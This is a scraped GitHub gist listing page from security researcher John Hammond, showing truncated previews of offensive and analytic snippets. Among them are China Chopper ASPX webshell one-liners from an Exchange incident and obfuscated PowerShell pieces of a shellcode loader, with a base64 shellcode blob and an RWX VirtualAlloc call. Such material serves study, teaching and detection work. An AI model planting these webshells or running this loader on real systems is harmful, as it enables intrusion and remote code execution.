Skip to content

Instantly share code, notes, and snippets.

View JohnHammond's full-sized avatar

John Hammond JohnHammond

10.4k followers · 13 following
View GitHub Profile
@JohnHammond
JohnHammond / rop_ripper.py
Created June 20, 2021 14:42
#!/usr/bin/env python3
"""
# NOTE, you must change the filename below for the rp++ output you want to process.
# This script does not take arguments in its current form. Sorry!
"""
import re
from pwn import p32, u32
@JohnHammond
JohnHammond / auto_file_download.html
Created September 24, 2022 14:34
<!DOCTYPE html>
<html>
<head>
<title>Please Subscribe</title>
</head>
<body>
<script>
// File name and contents
@JohnHammond
JohnHammond / stack_string.py
Created June 20, 2021 14:44
#!/usr/bin/env python3
"""
# NOTE, you must change the string below for data you want.
# This script does not take arguments in its current form. Sorry!
"""
from pwn import *
string = b"foobar"
@JohnHammond
JohnHammond / china_chopper_webshells.csv
Last active August 14, 2023 08:23
Microsoft Exchange Incident "China Chopper" ASPX Webshell filenames
# Occurrences Webshell Filename WebShell Syntax
46 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
35 C:\inetpub\wwwroot\aspnet_client\discover.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["Ananas"],"unsafe");}</script>
21 C:\inetpub\wwwroot\aspnet_client\shell.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["gttkomomo"],"unsafe");}</script>
13 C:\inetpub\wwwroot\aspnet_client\HttpProxy.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["bingo"],"unsafe");}</script>
8 C:\inetpub\wwwroot\aspnet_client\0QWYSEXe.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["XOrSeMr3kgWUdFf6"],"unsafe");}</script>
7 C:\inetpub\wwwroot\aspnet_client\system_web\error.aspx http://f/<script language=
@JohnHammond
JohnHammond / powershell_other_stage.ps1
Created May 3, 2021 23:09
function sOH {
Param ($o73, $icO)
$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
}
function b9MW {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $feiNr,
@JohnHammond
JohnHammond / powershell_gunpowder.ps1
Created May 3, 2021 23:09
function sOH {
Param ($o73, $icO)
$zJ3 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $zJ3.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($zJ3.GetMethod('GetModuleHandle')).Invoke($null, @($o73)))), $icO))
}
@JohnHammond
JohnHammond / powershell_winapi.ps1
Created May 3, 2021 23:10
function call_win32_api_function {
Param ($function_name, $arguments)
@JohnHammond
JohnHammond / powershell_reflection.ps1
Created May 3, 2021 23:10
function b9MW {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $feiNr,
[Parameter(Position = 1)] [Type] $owXkZ = [Void]
)
$hawT4 = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$hawT4.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $feiNr).SetImplementationFlags('Runtime, Managed')
$hawT4.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $owXkZ, $feiNr).SetImplementationFlags('Runtime, Managed')
@JohnHammond
JohnHammond / powershell_shellcode.ps1
Last active March 11, 2023 09:18
[Byte[]]$bUMJ = [System.Convert]::FromBase64String("/EiB5PD////ozAAAAEFRQVBSUVZI
MdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBm
gXgYCwIPhXIAAACLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1B
AcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wg
QVL/4FhBWVpIixLpS////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSDHAUFBJvAIALLcAAAAAQVRJ
ieRMifFBukx3Jgf/1UyJ6mgBAQAAWUG6KYBrAP/VagJZUFBNMclNMcBI/8BIicJBuuoP3+D/1UiJx2oQ
QVhMieJIiflBusLbN2f/1Ugx0kiJ+UG6t+k4///VTTHASDHSSIn5Qbp07Dvh/9VIiflIicdBunVuTWH/
1UiBxLACAABIg+wQSIniTTHJagRBWEiJ+UG6AtnIX//VSIPEIF6J9mpAQVloABAAAEFYSInySDHJQbpY
pFPl/9VIicNJicdNMclJifBIidpIiflBugLZyF//1UgBw0gpxkiF9nXhQf/nWGoAWbvgHSoKQYna/9U=
"
@JohnHammond
JohnHammond / powershell_runner.ps1
Created May 3, 2021 23:11
$sC6US = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((sOH kernel32.dll VirtualAlloc), (b9MW @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $bUMJ.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($bUMJ, 0, $sC6US, $bUMJ.length)